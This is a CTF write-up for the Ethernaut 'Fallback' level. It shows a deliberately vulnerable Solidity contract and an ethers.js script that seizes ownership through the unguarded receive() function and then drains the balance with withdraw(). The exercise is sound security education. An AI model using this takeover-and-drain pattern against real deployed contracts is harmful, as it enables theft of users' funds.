Cracking the Code: Ethernault (Level 1 - Fallback) CTF Challenge

Cracking the Code: Ethernault (Level 1 - Fallback) CTF Challenge

The Ethernaut is a Web3/Solidity-based wargame inspired by overthewire.org, played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'.

This challenge tests the player's knowledge about how to trigger a fallback in a smart contract.

The challenge code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

The goal of this challenge is to become the owner of the contract and drain all ethers in the contract.

Upon reading through the contract, we will discover that we can do three things:

  1. Contribute to the contract

  2. Send ethers to the contract

  3. Withdraw all ethers from the contract

The steps above were inferred from the receive function. The receive function can only be triggered when ethers are sent to a contract without data. In the receive function, we can also see some conditions we need to meet before the player can become the new owner. The first condition is that the ethers sent should be greater than zero, and the player's contribution should be greater than zero. It is also important to note that when the player is trying to contribute, there is a require statement that checks that the player cannot contribute more than 0.001 ether.

Solution

const { ethers } = require("ethers");
const abi = require("../artifacts/contracts/Fallback.sol/Fallback.json");

const provider = ethers.getDefaultProvider(process.env.SEPO_API_KEY_URL);

const signer = new ethers.Wallet(process.env.SEPO_PRIVATE_KEY, provider);

(async () => {
  // Fallback contract
  const contract = new ethers.Contract(
    "0x0c01C10E2793Cf0C71ee4395000b22839899d0B8",
    abi.abi,
    signer
  );

  // contribute to fallback contract
  const ctx = await contract.contribute({ value: ethers.parseEther("0.0001") });
  await ctx.wait();

  // send ethers to fallback contract
  const tx = await signer.sendTransaction({
    to: "0x0c01C10E2793Cf0C71ee4395000b22839899d0B8",
    value: ethers.parseEther("0.0001"),
  });

  await tx.wait();

  // withdraw all balance from the fallback contract
  await contract.withdraw();
})();

There are different pathways to execute this solution, but I will be using a script to provide a concise overview of the solution.

Firstly, we set up the ABI, provider, and signer. The ABI allows interaction with our fallback contract, the provider facilitates interaction with the blockchain, and the signer is how the user interacts with the contract.

The next step is to set up the fallback contract. Following this, a contribution of 0.0001 is made to the fallback contract. Any value can be contributed, as long as it is less than 0.001.

Subsequently, ethers are sent to the fallback contract without data. This action triggers the receive function, making the player the new owner, as the conditions in the receive function have been fulfilled.

Finally, we withdraw all funds from the fallback contract. This is possible because the player is now the owner of the contract.

Conclusion

Thank you for reading; I hope you have gained valuable insights from this explanation.

References

Solidity By Example